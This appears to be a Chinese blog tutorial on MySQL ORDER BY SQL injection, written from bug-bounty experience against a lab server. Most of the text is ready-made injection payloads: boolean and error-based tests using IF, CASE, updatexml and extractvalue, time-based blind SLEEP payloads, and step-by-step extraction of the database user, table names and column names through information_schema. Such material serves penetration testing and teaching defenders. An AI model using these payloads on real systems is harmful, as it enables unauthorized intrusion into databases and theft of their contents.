mysql order by注入_MySQL Order By 注入总结

前言

最近在做一些漏洞盒子后台项目的总结,在盒子众多众测项目中,注入类的漏洞占比一直较大。其中Order By注入型的漏洞也占挺大一部分比例,这类漏洞也是白帽子乐意提交的类型(奖金高、被过滤概览小)。今天给大家分享下一些关于Order By的有趣的经验。

何为order by 注入

本文讨论的内容指可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']

注入简单判断

在早期注入大量存在的时候,利用order by子句进行快速猜解表中的列数,再配合union select语句进行回显。在测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。

在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1 和order=2是不一样的。

http://192.168.239.2:81/?order=11 错误

http://192.168.239.2:81/?order=1 正常

进一步构造Payload

前面的判断并不是绝对的,我们需要构造出类似and 1=1、and 1=2的Payload以便于注入出数据。

/?order=IF(1=1,name,price) 通过name字段排序

/?order=IF(1=2,name,price) 通过price字段排序

/?order=(CASE WHEN (1=1) THEN name ELSE price END) 通过name字段排序

/?order=(CASE WHEN (1=2) THEN name ELSE price END) 通过price字段排序

/?order=IFNULL(NULL,price) 通过price字段排序

/?order=IFNULL(NULL,name) 通过name字段排序

另外利用rand函数也能达到类似的效果,可以观测到排序的结果不一样

/?order=rand(1=1)

/?order=rand(1=2)

利用报错

在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,如下用IF语句为例。

返回多条记录

/?order=IF(1=1,1,(select 1 union select 2)) 正确

/?order=IF(1=2,1,(select 1 union select 2)) 错误

/?order=IF(1=1,1,(select 1 from information_schema.tables)) 正常

/?order=IF(1=2,1,(select 1 from information_schema.tables)) 错误

利用regexp

/?order=(select 1 regexp if(1=1,1,0x00)) 正常

/?order=(select 1 regexp if(1=2,1,0x00)) 错误

利用updatexml

/?order=updatexml(1,if(1=1,1,user()),1) 正确

/?order=updatexml(1,if(1=2,1,user()),1) 错误

利用extractvalue

/?order=extractvalue(1,if(1=1,1,user())) 正确

/?order=extractvalue(1,if(1=2,1,user())) 错误

基于时间的盲注

注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2当前表中记录的数目,还有比如执行BENCHMARK(1000000,100100);等函数,将会对服务器造成一定的拒绝服务攻击。

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间

/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

数据猜解

以猜解user()即root@localhost为例子,由于只能一位一位猜解,可以利用SUBSTR,SUBSTRING,MID,以及left和right可以精准分割出每一位子串。然后就是比较操作了可以利用=,like,regexp等。这里要注意like是不区分大小写。

通过下可以得知user()第一位为r,ascii码的16进制为0x72:

/?order=(select 1 regexp if(substring(user(),1,1)=0x72,1,0x00)) 正确

/?order=(select 1 regexp if(substring(user(),1,1)=0x71,1,0x00)) 错误

猜解当前数据库的表名:

/?order=(select 1 regexp if(substring((select concat(table_name)from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x67,1,0x00)) 正确

/?order=(select 1 regexp if(substring((select concat(table_name)from information_schema.tables where table_schema=database() limit 0,1),1,1)=0x66,1,0x00)) 错误

猜解指定表名中的列名:

/?order=(select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x676f6f6473 limit 0,1),1,1)=0x69,1,0x00)) 正常

/?order=(select 1 regexp if(substring((select concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x676f6f6473 limit 0,1),1,1)=0x68,1,0x00)) 错误

sqlmap测试

在没有过滤的情况下是能够检测到注入的,如下图:

附录服务端代码

Tag标签:

你可能感兴趣的:(mysql,order,by注入)